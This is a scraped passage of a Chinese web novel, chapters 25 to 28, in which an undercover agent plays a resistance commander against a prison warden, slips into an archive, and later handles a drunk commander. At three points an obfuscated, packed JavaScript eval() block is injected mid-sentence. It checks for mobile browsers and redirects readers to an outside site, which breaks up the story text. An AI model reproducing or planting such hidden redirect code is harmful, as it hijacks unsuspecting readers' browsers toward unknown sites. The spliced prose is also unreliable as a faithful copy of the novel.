“路青的人设是个跛子?”叶眠悄悄问。 “嗯。”陆风简短回应。 在窗边的桌旁坐定,侍应生送来一束黄色的花,笑着说:“路先生选的花,正衬这位小姐。” 想到下城区连点活的绿植都见不着,叶眠微笑接下:“谢谢。” 她还关注着刚刚法蒙出现的那个方向,心中琢磨着这是不是个机会。 侍应生看到叶眠脸侧的纱布,眼中闪过怜悯,又补了一句:“祝小姐早日康复。” “这边的菜色很多,我按你口味点了。”陆风说。 他扮演着路青的角色,口吻温和:“可能内厅里来了什么人,普通预约只能坐外面了,抱歉。” 叶眠看他一眼,心想你别说,来的还是熟人呢。 天大地大吃饭最大,她低头喝汤,耳朵却丝毫不敢懈怠。 换菜间隙,叶眠余光瞥到通向内厅的门打开了一条缝,心中有了点主意。 “我去趟洗手间。”她说。 陆风微微皱眉,没说话。 叶眠提着黄裙子的裙摆走过外厅,姿态优雅到她自己都觉得意外。 这是什么诡异的本能反应?难不成叶绵绵对外还走淑女路线? 经过内厅大门,她稍微减速,但里面的人立刻掩住了门缝,交谈声被死死锁住。 叶眠心中可惜,继续前往洗手间。 几步之后,看到那名送花的侍应生,她又有了个新主意。 “你好,”她安静地走过去,向他搭话,“请问,你们这里还有鲜花吗?” “有的,小姐。”侍应生答。 “麻烦你把所有黄色的花挑出来,在场所有人一人一朵,记在路先生账上,算是我送给大家的祝福,可以吗?”叶眠温声细语地说。 看他要拒绝的样子,她再次加码,表情暗淡:“疗程后期就没机会出门了,我瞧这里人多,想图点热闹,不方便的话,也没关系的。” 侍应生犹豫了一下,说:“好吧,应该可以,小姐。” “太感谢了。”叶眠感激地说。 从洗手间出来,她就眼见地看到推餐车的侍应生,抱着一大束黄色鲜花进了内厅,几乎获得了外厅所有人的关注。 “怎么了?” 叶眠驻足动作太明显,陆风发现了。 “没什么,”叶眠站到他身边,“我能坐里面吗?” 陆风顿了顿,起身说:“当然可以。” 叶绵绵回来之后表现出的距离感太强,这种主动的亲密反而显得有些珍贵了。 叶眠浅笑嫣然,心里却还在猜测法蒙那边的情况。 陆风完全没想到,这一顿吃下来叶眠心神一半给了饭,一半给了法蒙,就是没留给自己。他只当她是心里有事,也没有自讨无趣地多说什么。 终于,内厅门开,那一大抹黄色又被推了出来。 果然是被拒绝了。叶眠想。 侍应生为难地向她道歉,说内厅即将散场,谢谢她的好意。 叶眠也露出失望的神色,只是再次道谢后,让他把花放到了桌子对面,她原来坐的位置。 陆风偏头,与她之间的距离近到只剩半掌,语气戏谑:“慷他人之慨,很大方嘛。” “反正你买一束也是买,买一把也是买,”叶眠稍微调整了一下姿势,“一把花换了条重要消息呢想不想听?” 陆风饶有兴致:“什么消息?” 层叠脚步声传来,内厅的人鱼贯而出,叶眠拉住陆风胳膊,两人贴得更近。 她已经能数清他的睫毛,根根分明,也能清楚地看到自己五官,倒映在他棕色的瞳孔中。 叶眠的气音传到陆风耳朵里。 ——“法蒙刚刚在内厅。” 陆风瞬间变色。 眼风凌厉刮来,却被消解于无形。叶眠不为所动,甚至伸手掐住了他的下巴,以防他要回头乱动。 “看我。”她命令说。 这张脸确实不如上一张好看,叶眠心中轻叹一声,一手勾住陆风脖子,贴上了他的唇角。 “揽住我的腰。” 叶眠双唇微动,半张脸藏在陆风后面,密切关注着那群人离开的进度。 陆风懂了,依言照做,甚至多用了点劲,把她往身边带了一点。 在法蒙的视角里,很难不注意到那束巨大的黄色鲜花,然后就看到了那对吻得难舍难分的情侣。 他身板笔直如松,脚步不停,似乎毫无反应。 直到法蒙走进电梯看不见这里了,叶眠松开陆风,嫌弃地抽了张纸擦擦嘴:“你先走。” 陆风脸色很差,没耽搁,迅速起身。 叶眠拽住他。 以为她要让他注意安全,陆风下意识缓和表情,想说“没事”。 “记得结账。”叶眠殷切叮嘱。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930890|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能恩将仇报啊陆指挥! 陆风默了默,咬牙:“我线上结。” 不知道他怎么操作的,几分钟后,定位就发到了叶眠终端——他已经把车开到了与这有点距离的地方。 这么快?没坐电梯? 叶眠吃掉最后半块蛋糕,心想有便宜不占是傻蛋,于是又点了两份套餐打包,标上C监的住址。 她在侍应生诡异的眼神下认真嘱托:“收货人叫烟花,是狱警,跟她说另一份带给护士,她会懂的。” 做完这一切,她施施然整理好裙摆,按了按帽子,走向电梯间。 法蒙会在哪里等她呢? ——十六楼。 电梯门打开,叶眠抬头,就看到一张好像别人欠他几千万的冷脸。 电梯内的侍应生有些犹豫,叶眠没再让他为难,轻盈地走出了电梯。 “好久不见。”她说。 刚刚吃饱喝足,叶眠心情还不错,但法蒙看起来就不是这样了。眼神重得仿佛要压死人,沉甸甸地镇在她身上。 十六楼的走廊没开灯,叶眠站在他的影子下,好像被困住一般,可惜当事人完全没在意。 “回到陆风身边的感觉如何,叶小姐?”法蒙开口,用词礼貌周到,暗藏的危险却不降反增。 “还可以,吃得比在监狱好不少,”叶眠说完,竟然还笑了笑,“让你久等了,我给监狱里的朋友打包两份外卖,耽误了点时间。” 可能就是这一刻,法蒙第一次模模糊糊地意识到,叶眠不是他可以随意拿捏的软柿子。 但这个想法并未成形。 “看你似乎已经乐不思蜀了,”他向前逼近一步,“陆风的床,也比C监好睡不少吧?” “你脑子里怎么只有那点事儿?”叶眠反感地皱了皱眉,“我又不是没干活。” “干活,指的是,跟陆风来天空之脊约会?”法蒙深吸一口气,尽量保持平静。 叶眠的脸几乎整个落在阴影中,只眼睛里有两点光,恒亮。 她稍微推了推法蒙:“等一下,等一下。你太高了,往后点,我仰着脖子头疼。” 法蒙一愣,感觉心底有丛火,“蹭”一下子窜了上来。 因为军中训诫下属的习惯,他第一反应是要逮住叶眠的衣领质问。又因为她穿的是裙子,无从下手,于是演变成捏住她的禁制环,发力一带。 叶眠往前踉跄一步,但她没生气,甚至没挣扎,只抬起双手搭住他的小臂,然后就这样仰着头,注视着他。 军装的粗呢面料比衬衣差太多了,但不重要。 这姿势诡异到出人意料,不知为何,训斥的半句话堵在法蒙嗓子里,没能说出口。 他双唇微开,眉峰压紧,气势迫人,但没再动作。 然后,叶眠动了。 她拍了拍他的手臂:“典狱长,中将,说真的,你别急。看看我们现在,像个什么样子?” 法蒙也想问,这像个什么样子? 叶眠力道不重,他却烫到一样撒了手,甚至莫名其妙地退了半步,像是生怕被什么脏东西黏上一般。 右臂下垂,碰过叶眠的手指皮肤还在宣扬着某种温暖柔软的触感。 ……怎么回事? 叶眠捏着节奏见好就收,不给他任何想清楚的时间,开口就是重提正事:“基地防守分布还没搞清楚,只知道是在下城区的地下。目前拿的消息里,不重要的包括陆风眼睛有问题,重要的,可能是反抗军指挥使换届?” 她语气不确定,心中却肯定。 反抗军换届是大事,对于法蒙来说绝对也称得上重磅。 摇动的心神被强拽回来,其他怪异的感觉也被他极致的自控力全面压下。 “换届?时间,地点?”依然是冷脸,法蒙语气认真冷静了不少。 “我回了反抗军几天?”叶眠反问。 知道他不会接话,于是她自问自答:“两天。” 一切尽在不言中。 “所以你到底在急什么?”叶眠看着他,语气不解,“简直像是看到妻子外遇的丈夫,但你给我指派的工作,不就是卧底吗?” 卧底的献身,不是再正常不过的事情吗? 26. 第 26 章 法蒙没有开口,但显然,纯粹的沉默压不垮叶眠。 她不闪不避地看着他,一手捂着脖子,像是单纯无法理解,也像在催促。 ——你说啊?为什么? ——怎么说? 说我以为你这半个月表现出的一切都是为了回到陆风身边。 说刚刚有一瞬间我想把你们两个都杀了。 说我有点情绪失控,这很少见。 法蒙眉头紧到发僵。 正因为强大到披靡的自控力,他可以清楚地分辨出自己的状态——眼下,他实在说不上理智。 但他不懂,这像火一样卷上来的情绪,仿佛小虫钻入心脏的感觉,叫占有,也叫嫉妒。 这是无知无觉的人陷入沼泽前的第一道警告,但是他没遇见过,所以只能简单划归到“情绪失控”的范畴。 叶眠静静地看着他表情的每一分变化,所有的纠结、犹豫、愤怒、自我攻讦……尽收眼底。 她有点惊讶,但又觉得理所当然:原来是这样。 叶眠没有再逼他,而是松松紧紧,再次说回陆风。 “陆风的眼睛是我之后几天调查的重点,三个月后的换届我肯定会到场,在此之前,我要摸清楚他的眼睛是怎么回事。” 法蒙沉默了很久,久到叶眠开始考虑怎么继续话题,他才开口:“好。” 嗓音干涩,太不自然。 他察觉之后,脸上低气压的表情更是阴沉三分。 叶眠仿佛一无所觉,甚至做出松了口气的样子:“第一次做卧底,不太熟练。所以,以后我需要尽量减少跟他的身体接触吗?” 法蒙得到了一个能够说服自己的结论:他看好的人,明明拥有一切成为一个优秀下属的品质,却要在陆风眼前做低伏小,所以他感到不满,其实,也正常。 他无视了自己听到叶眠最后一句问话的不适感。 “不用,你跟他正常相处就行。”法蒙的脸色沉静,叶眠明白——翻篇了。 毕竟,除了故意亲陆风一口试探典狱长反应,她哪里都没做错,对吧? “加个终端,”叶眠自然地说,“下次说不定有急事联系你。等刘仁主动来找我,黄花菜都凉了。” 这次法蒙没有拒绝,他说不清自己是种什么心态,只是看着叶眠把他的联系方式拉到隐藏,然后再次抬头。 “还有什么事吗?没有的话陆风还在等我。”她说。 陆风,又是陆风。 阴魂不散,要是杀了他就能解决反抗军,何苦如此周旋? “走吧,”法蒙捡起帽子递给她,然后上前一步按下电梯,“我们分开走。” “您先?”叶眠接过帽子,礼貌地退了一点。 “……你先。” 电梯门合上前的最后一刻,叶眠跟法蒙的视线还缠在一起。等下一秒彻底闭合,她的表情才整段垮掉。 啧,雷声大雨点小。 但不管怎么说,她也是踩着高压线跳舞。 摊上这么个阴晴不定的上司,也不知道法蒙的下属都是怎么熬过来的。 根据陆风的坐标,叶眠很快找到了坐在车里的人。 “这个消息怎么样?”她压着帽子,把手臂搭在车窗上。 陆风抬眼,表情松散:“非常惊喜。” “真没想到能在这里遇见,”叶眠顿了顿,“还好他看起来没什么杀意。” “你说得对,我们两个站在一起,就是最大的风险,”陆风叹气,“你搞的那一大束花太显眼,他绝对往这边看了。” 他想不到那是叶眠为了吸引法蒙注意整的花活,叶眠也不会主动提起。 “那路青这个身份,是不是以后都不能用了?”她问。 “也不至于,”陆风也没那么被动,“法蒙一直针对反抗军,我的身份他肯定也查到不少。到现在没对我动杀心,可能也是知道我这个指挥使死了,还会有很多指挥使替上来。” “上车,”他一笑,“他杀了我,还不如养着我,往我身边栽卧底,这样才好顺藤摸瓜。” 叶眠表情不动如山:“害。” 两人有些沉默地回了基地,陆风似乎有什么急事,匆匆忙忙地离开了。 叶眠回到房间,打开终端骚扰同事哥。 遇到困难睡大觉:“法蒙有爱人吗?” 白干全白干:“?” 遇到困难睡大觉:“年轻中将,快三十岁,最好的年纪,身边没有女人吗?” 白干全白干:“他是性冷淡[笑脸]。” 这在联盟不是个秘密,所以沈舒白卖法蒙一点都没犹豫。 叶眠摸摸下巴,笑了。 那可真是有点意思。 沈舒白还在劝。 白干全白干:“你不要对他有什么想法啊,他真不是那种人。” 遇到困难睡大觉:“瞧你说的,我就是那种人吗?” 沈舒白想到她捏着纸巾擦过自己下巴的恶劣行径,打了个寒战。 你怎么不是! 你太是了! 收收神通吧! 遇到困难睡大觉:“别说那个了。我现在这个情况,陆风不在身边根本没啥好查的,有没有别的活儿给我干?怪无聊的。” 白干全白干:“你安稳当个花瓶就好了。” [白干全白干撤回了一条消息。] 遇到困难睡大觉:“[笑脸]。” 白干全白干:“哎,那什么,倒还真有一个。” 遇到困难睡大觉:“嗯哼?” 白干全白干:“基地档案室,知道在哪吗?我给你远程黑掉权限,你进去查查前任指挥使跟联盟家族的来往。” 白干全白干:“档案室分两层,外层权限我有,但机密库不行。我自己进不去,必须得找人跟我配合[哭脸]。” 遇到困难睡大觉:“中,姐帮你。” 白干全白干:“[谢主隆恩]。” 叶眠换了身裤装,顺手给陆风发了句:“我在基地里转转。” 养成报备的良好习惯,让男人不再费心牵挂。 她真好。 坐了直升飞梯来到档案室门口,叶眠刷卡进入第一层档案库。 密闭方形空间内悬着四盏昏暗的灯,耳朵里只能听见换气设施的嗡鸣,地上桌子上堆满了纸质材料,看起来不久前还有人来查过东西。 叶眠漫不经心地走到第二扇门前,心道我这可是二级权限,能不能直接进? 可能是猜到她心中所想,被临时征用的耳机里想起同事哥变调的声音:“机密库需要一级或者零级权限,稍等。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959670|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆风还是太小气。 叶眠百无聊赖地打量着毫无装饰的水泥墙壁,然后仿佛命中注定一般,她发现了一个隐蔽在角落的摄像头。 第一反应是拔枪打碎,但她生生拧住了自己的手。 不行,如果射击,那就是真的洗无可洗了。 “我进机密库,要是被陆风发现了怎么办?”她盯着摄像头,一边挥了挥手,一边缓缓问。 “嗯……”那头沉吟一声,“运用你的聪明才智糊弄过去?” 一想自己中午还在法蒙的死亡凝视下苟活,说不定晚点还要面对质疑她失忆的陆风,叶眠为自己的卧底生涯叹了口气。 “好了,”同事哥干巴巴地说,“那什么,多谢。来都来了,能记录的尽量都记录一下。” “如果我被陆风打死要替我收尸啊。”叶眠走进缓慢挪开的大门。 沈舒白微哽:“一定。” 电子数据库,只摆着两台看起来型号不新的显示器。 叶眠坐到椅子上,开启设备。 “设备密钥。”她呼叫同事哥。 沈舒白报出一串数字,这是他最近的成果。 ——“验证通过,请选择你要查看的信息年份。” 中间大栏是密密麻麻的年份,旁边一栏是指挥使届数。最新的一条显示是第33届,叶眠拖动光标上滑。 “陆风连任了几届?” “总的来说,是第二届。”同事哥答,“上一届他是防御组的,守了三年主舰老家。” 了解得很清楚嘛,叶眠一边想,一边划到第31届,点击后,直接跳转到个人总结页面。 “陆峰,——年~——年。曾连任两届游击进攻组指挥使,捣毁死星三号的非法实验室窝点,建立反抗军特工培育基地……” 迅速扫过总结,下面便是陆峰分门别类的记录材料。 其中有一块很显眼的红色斑块,标着“联盟”字样。叶眠点进去,从上到下扫过——密密麻麻的家族姓氏,虽然她不太了解,但不乏医院电视上出现过的让人眼熟。 只凭她还没长全的脑子记下所有信息实在太过苛刻,叶眠选择接上终端,直接导出文件发给同事。等待进度条期间,她津津有味地翻到32届,开始看陆风的生平。 看起来守家确实不是什么好差事,相比于31届的陆峰的丰功伟绩,32届的陆风似乎没做什么大事,各类别下的零星条目实在乏善可陈。 叶眠一边感慨着,一边翻到33届。 “有什么想知道的,其实直接问就好。”陆风说。 “那哪行啊,您贵人……”叶眠收声,重重地咳嗽了一下。 陆风低头看显示屏:“在研究我?” “嗯。”叶眠老实地像个鹌鹑,“毕竟我忘了很多事。” “你从这里看不到真正的我,只能看到别人眼里的我。” 趁陆风站直,叶眠迅速收起终端。 “叶眠,”陆风叹了口气,“别闹脾气了,这不是你该来的地方。” 手指放在背后迅速删除文件记录,她垂着眼不敢跟陆风对视,像是知道自己做错事了一样。 耳机里的通讯声也早就断了。 叶眠暗想:同事哥,要是我能活过这一遭,你好歹得赔我点东西当精神损失费。 27. 第 27 章 “可是你不懂我醒来什么都忘了的心情,”叶眠终于抬起眼睛,跟他对视,剖心剖肝地讲,“我不记得你,不记得这里,不记得我杀了谁又是为什么杀了他、然后落进监狱。” 陆风低头看着她,眼神略略波动,晃着一点叶眠猜不到透的思索之意。 “陆风,我相信你爱我,”坚强底色中的一线脆弱,显眼到让人无法忽视,“但是我不能不明不白地接受你,所以我才更迫切地想找回我们的过去。” 她无声苦笑,轻轻说:“你当我慌不择路吧。” 说完这句,叶眠后心的汗都渗出来了。 这段戏精附体的紧急避险她打98.6分,因为看着陆风不为所动的样子,她感觉自己还是有一点四了。 陆风凝视她半晌。 叶眠瞪着带点水色的眼睛,把嘴唇咬到泛白,心里已经做了无数个预案,确保自己在他动手第一时间能伤亡最小地逃走,然而越想越发现:很难。 没有异能,陆风拿捏她几乎是手拿把掐。 如果能苟过这一波,她一定去催催(划掉)求求小沈…… “别咬了。” 陆风伸手揉开她的嘴角,语气克制。 “你这些小习惯,失忆了也一点没改。” 叶眠眨眼,像是没听懂他的话一样。 “如果不是这些,我都要怀疑你是不是被人顶包了,”陆风手指提起她的嘴角,表情缓和,“别用这么可怜的表情看着我。” 糊弄过去了? 叶眠下意识又咬了一下,结果被陆风完美预判,他稍微用了点力气搓过她的嘴唇:“还咬。” 真糊弄过去了。 叶眠稍微垂眼,藏起了所有的如释重负。 “刘勇也算做了件好事,”陆风稍微强势地抬起她的下巴,一眼撞上了刚调整完情绪的叶眠,“过去既往不咎,就当我们从新开始。” 叶眠双眼忽闪。 陆风单手把她的脸颊肉往中间一捏:“说话。” 叶眠:“烧什呃(说什么)?” 陆风:“……说你愿意。” 叶眠毫无负担:“额演绎(我愿意)。” 叶绵绵的过去属于叶绵绵,重生之后的叶眠才是叶眠,两个人她分得很清。 叶绵绵跟陆风能有什么好结局?叶眠跟陆风更不会有。 赶紧翻篇,她超愿意。 陆风笑了下,松开叶眠的脸,然后轻轻把人环腰楼住,在她耳边叹了一声。 叶眠心有疑惑:他高兴什么? 还有,“刘勇做得好”又是什么意思?这个既往不咎一出,怎么感觉两个人都有些释然? “如果不是刘勇,我说不定现在已经在长头发了,”叶眠推了推他,语气幽怨,“你说的刘勇,是用钢筋□□脑袋的那个弟弟,还是后来对我痛下杀手那个哥哥?” “嗯?”陆风放开她,“两个刘勇?” 叶眠讲了讲兄弟俩的事情,陆风沉默了一会儿,摸了摸她的脑袋:“还好你没事,以后不提他们了。” “你知道刘毅进了C监,那你知道他是接了谁的悬赏吗?”叶眠拽了拽他,一脸求知欲。 好不容易逮到这个机会,赶紧把能问的都问了。 “蒋钰。”陆风表情淡淡,似乎说完这个名字还想补充什么,但都被他压了下去。 ——蒋仕临的儿子,这还真是替父报仇的戏码。 叶眠咬了咬牙,又问:“那我从C监出来,他还会再追加悬赏来杀我吗?” “做好保密工作,他会以为你死在里面了,”陆风亲了一下她的额头,“不用担心。” 叶眠幽幽地说:“不是说等把叶绵绵哄回来再亲吗?” 陆风笑:“都既往不咎了。” 叶眠掐他一把:“切磋我赢了。” “行,”陆风纵容了,捏了捏她的掌心,“晚上听你的。” 叶眠眼角一抽,下一刻,陆风终端震动。 “小沈医生找我,”陆风说,“你自己回去,可以?” 叶眠忙不迭点头,麻利地抬脚往外走,听到身后陆风接起通讯的声音。 “上次漏了一项检查?这可不是你的作风。” - 晚上,叶眠左等右等陆风也没回来,她无聊到发慌,翻出终端列表开始挨个骚扰。 陆风,略过。 今晚不回来最好。 同事哥?戳一下。 遇到困难睡大觉:“同事哥,你把我害惨了。” 遇到困难睡大觉:“这个贴身卧底真的很难做,法蒙应该给我发工资[哭脸]。” 遇到困难睡大觉:“还有,纯机械手枪局限实在太大了,陆风异能跟鬼一样,来去无影,加速后根本瞄不中。我需要更强的武器,或者给我开放紧急情况下的异能使用权。” 遇到困难睡大觉:“同事哥?” 叶眠勾搭同事哥不成,干脆直接找正主。 她还在考虑怎么把今天的遭遇夸大扭曲一点,法蒙却恰好发来消息:“半个月后有空吗?” 遇到困难睡大觉:“有空的。您怎么想起我了?[笑脸]” 遇到困难睡大觉:“[玫瑰]*99。” 天色昏暗,下班点已经过了三个小时,法蒙还坐在典狱长办公室里,一边听着烟花报告整改进度,一边分神联系叶眠。 “典狱长先生?”她敏锐察觉对方走神,小心询问。 “成何体统。” 法蒙眉压眼的五官本就有八分严厉,眼下因为这句话更显苛刻,烟花一愣,结果他一抬头,面无表情地说:“继续。” 烟花心中颇有微词,刚要继续她的发言,又被再次打断。 法蒙一脸正色:“别人送你99朵玫瑰,怎么回应?” 烟花:? 她揣摩着法蒙的想法,小心地建议:“谢谢她?” 法蒙眉头皱成川字,心想这狱警实在无情,手下犹豫了几秒,好歹是回复了。 法蒙:“[玫瑰]。” 另外一边的叶眠:? 烟花觑着这位典狱长实在说不上高兴的表情,诚实地说:“如果是不想应付的人,您可以不用理会的。” 不然活像冷脸洗内裤的大怨种。但她不敢说。 法蒙想着德里克的宴会,心烦地挥了挥手:“这边你看着管,别闹出像之前278那种大乱子就行,狱警有些压线的行为也正常,我要的是可控。” 他看起来要走,烟花犹豫了一下,稍微一拦:“中将,您对边境三师的士兵们也是这个态度吗?” 她姿态放得恭敬,但说话却不太好听:“如果压线的行为都可以纵容,那在看不见的地方,越线的行为只会越来越多。” “作为管理者,你精力有限,不可能面面俱到地管住所有人,”法蒙视线扫来,少见地指点了几句,“有的放矢是控制下属的核心,你没坐过这个位置,不懂也正常。” 烟花藏起眼中神色,在心里叹了一声。 监狱的三级管理就像一个微缩的社会三层,最高层的人一边控制管理中层,一边纵容中层压线,所以受伤受辱的只会是最底层,在监狱,便是囚犯的不公正待遇。 狱风不正不是某几个人促成的,不论是更早带头作恶的萨利,还是现在心不在焉的法蒙,C监的坏名声一直是从根烂到尖。 “叶眠说得没错,”烟花说,“您不适合做这个典狱长。” 法蒙下巴微抬,重新正视这个代替了黑兔子位置的女狱警。 他声音加重:“叶眠?” 烟花恭敬地笑了笑,却岔开话题:“天色太晚了,剩下的也没什么特别需要报告的事情,看起来您也急着离开,祝您早日离任,得偿所愿。” 她帮法蒙推开门,见他没有动静,干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972552|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆自行告退。 等她走没影了,法蒙依然没回过神来。 现在什么阿猫阿狗都能指着他阴阳怪气了吗? 他感受到了不被尊重的怒气,心道这人实在不识好歹,一边又微微动摇——难道我真不适合做这个典狱长? 再低头一看叶眠发来的消息。 遇到困难睡大觉:“[笑脸]。” 法蒙带着迁怒点评:这个ID也起得不怎么样。 一个为上级分忧的优秀下属,怎么能看起来没有一点工作热情? 法蒙:“半个月后有一场化妆舞会,你来做我的女伴。” 叶眠:? 我? 似乎也是察觉到逻辑不通,法蒙又补了一句:“是A圈内的宴会,我不能带下属,会有混淆公私的嫌疑。你身份单薄,出狱的时候还做了保密工作,正好能配合我。” 遇到困难睡大觉:“你在找我帮忙吗?” 法蒙默了默,过了会儿才回:“是。” 遇到困难睡大觉:“如果只需要我出人,能帮上忙我当然愿意,但是今天偷资料差点被陆风发现,我要申请额外补助。您看……?” 法蒙:“说。” 遇到困难睡大觉:“如果你不愿意放开禁制环权限,我需要更高杀伤的武器。” 遇到困难睡大觉:“陆风异能很强,想杀我太容易了,。” 陆风,啧。 法蒙:“可以,等下次见面。” 遇到困难睡大觉:“[笑脸]。” 叶眠摸着下巴,没想到事情这么顺利,总觉得法蒙这人阴晴不定,心情好了就大赦天下,心情不好就统统死刑。 放下这点疑虑,她翻回跟同事哥的聊天框,却见对面简短地回了句:“在忙。” 有点少见。 沈舒白挪走面前的空酒杯,又拍了拍扑在桌子上几乎不省人事的陆风。 “嗯……绵绵……”陆风眼都不睁地拽他。 沈舒白迅速收手:不不不不不要过来! 他搓着后牙,心想陆风真给我出难题,一边切换到小沈医生的账号,搜索叶眠ID。 叶眠收到了好友申请,心下奇怪。 沈医生:“叶女士,你好,陆指挥跟我在——酒吧,你看,方不方便来接他一下?” 陆风适时地顾涌了一下:“嗯……绵绵来接我……我就走……” 沈舒白面无表情地看着他,心中磨刀霍霍,想给他录下来算了。 叶眠在本来准备今晚独守空房,眼下看这个情况还得出门一趟。她有些好奇陆风又在耍什么心眼,于是扣上帽子就出发了。 整张脸都捂得严严实实,但夜间的士师傅看了她好几眼。等她到了酒吧下车,司机开口:“美女……” 然后被她冷漠到极点的眼神吓了回去。 “在这等我。”她说。 叶眠身无分文,好在她气场够足,一路雄赳赳气昂昂地找到了一坐一躺的二人。 “叶女士,”沈舒白起身,语气礼貌,“抱歉,我没拦住,他喝多了。” 下午为了给叶眠解围,他急中生智圈了几项莫须有的检查。没想到检查做完了,陆风感慨地说要请他吃饭,席间提了几句叶秘书,后面就越扯越远、满嘴胡话。 叶眠定睛一看,相比于醉成烂泥的陆风,沈舒白除去乱了几根头发丝,整个人都算得上体面。 她裹了裹外套,走近拍了拍陆风肩膀:“喂。” “嗯……”陆风一伸胳膊,正好把叶眠圈了过去,然后头埋在她腰间蹭了蹭,“绵绵……” 沈舒白抿着唇角,冷静转头:非礼勿视。 叶眠低头,看着陆风黑黝黝的发顶,伸手给他揉乱:“真醉了?” “嗯……”他又蹭了蹭,衣料被扯动,看不清脸。 叶眠心中冷笑:我信你个鬼,你个情报贩子坏得很。 28. 第 28 章 “帮我一把。”叶眠拉起陆风的一只胳膊,跨到自己脖子上。 沈舒白上前扶了一下,就见陆风跟软体动物一样,缓慢且自然地爬上了叶眠的肩膀。 看着他流畅的动作,再看冷笑的叶眠,沈舒白:……我是你们play的一环吗? “沈医生,”叶眠掂麻袋一样薅起陆风,想了想,觉得有些不合时宜,又改了话头,“我们改天再说。” 沈舒白一愣,下意识张嘴:“什么?” 陆风若有所觉地掀开眼皮,被叶眠摁住头顶:“你睡你的。” 不是醉酒吗,接着醉啊? “想问陆风的眼睛,”叶眠对着沈舒白露出一个微笑,“沈医生。” - “你问他干嘛,问我啊。”陆风被塞进车里的时候还在嘟嘟囔囔地说。 叶眠用沈医生刚转的钱付了车费,然后跟司机定下目的地。 “叶眠……”陆风黏黏糊糊地凑过来,然后被推开。 “装上瘾了?” “嗯……”他又蹭过来,好像没骨头一样,非得压着她肩膀,“没有……” 叶眠手指顶住他脑门,指甲甚至戳出了个浅浅的月牙印子。 “好好坐着,”她把他人整个推正,然后抽出安全带绑了个死结,这才对颤颤巍巍的司机歉然一笑,好像之前恐吓他的根本不是自己,“见笑。” 下车后,陆风主动伸出胳膊让叶眠架着,几乎是半瘫在她身上,深一脚浅一脚地回了基地。 最后,他被无情地摔在沙发上。 “你四舍五入两百斤的人,压我身上也就控着有个八十斤,”叶眠伸了个懒腰,先把他墨镜放到胸前的口袋里,再拨开他的额发露出眼睛,最后拍了拍他脸颊,确保他在听,“再给我装呢?” 陆风不答,眼里写满了迷茫。 叶眠把他的衬衣扒了下来,然后就准备让陆风自生自灭。她转身脱了外套,里面干脆就是睡衣,但陆风硬是拽着她的衣角,像个尾巴一样跟着她往床走。 “醉汉不许上床。”叶眠坚定地抽出被攥出褶皱的睡衣。 “噢,那不醉了。”陆风立刻双手举起,放弃伪装。 叶眠:“……你去洗澡。” 洗干净的陆风获得了稍微好点的待遇,但叶眠还是坚定地指着被推到另一侧的被子:“陆指挥,请。” 虽然没醉,但陆风依然决定放任自己随心行动,他围着浴巾,固执地张开双臂——扑到了叶眠的被团上。 叶眠猝不及防,闷咳一声,气急败坏地推他:“你重死了!!” 社会化训练不足吗怎么乱扑人! 陆风不肯动,八爪鱼一样压在原地,脸几乎埋在她肚子上。两个人身体之间隔着被子,他的手指点上她小臂,仿佛小人爬山一般交替着向上移动。 “陆指挥,你幼不幼稚,”叶眠被他磨得没脾气,好声好气地说,“你如果心里不舒服就去折磨沈医生,我只是个无辜的……掐我干嘛?!” 陆风手指刚“爬”上她大臂,闻言拧了她一下,然后闷闷地说:“你真的瘦了。” “C监饭那么难吃,我不瘦才怪,”叶眠说着,抽出胳膊死命摁他的头,“不起来别起来了,直接把你闷死。” 陆风象征性地挣扎了一下,脸埋在下面笑了声,又不动了。 叶眠:……他用异能给自己放风,这样还真憋不死他。 一小时前,她只是觉得,指挥使不会任由自己在外面喝成醉汉。 但没想到,陆风人很清醒,赖皮程度却直线增加。 她稍微放软了一点语气:“很晚了,陆风,你下去行吗?我们睡觉。” 毛茸茸的后脑勺摇了摇,半湿翘起的发丝一颤一颤,水意洇到叶眠被子上。 叶眠:“……那你还要怎样?” 陆风迅速抬头,露出眼睛:“我想做。” 叶眠忍了忍,还是没忍住,伸手捏住他发根下的脖子皮,狠狠发力:“发晴自己去洗手间解决,去。” 仿佛被命运捏住了后颈皮,陆风终于抬起上半身:“哎哎哎,别掐了,我起。” 叶眠感觉有些不可思议:“陆指挥,你一开始不是这样的。” 看陆风又要当他的赖皮鸵鸟,叶眠直接双手怼上他的脸,持续发力表示推拒:“有话说话,别动手。” 陆风脸皮被她搓到起褶子:“我们之间本来也不是这样的。” 叶眠眼神一动,他接着说:“所以我觉得,我也不能像以前一样了。” ——知错能改是好孩子。 叶眠欣慰地搓了搓他头顶:“你终于醒悟了。叶绵绵不在的时候,心里不舒服多找沈医生喝酒。” ——但别在这发疯。 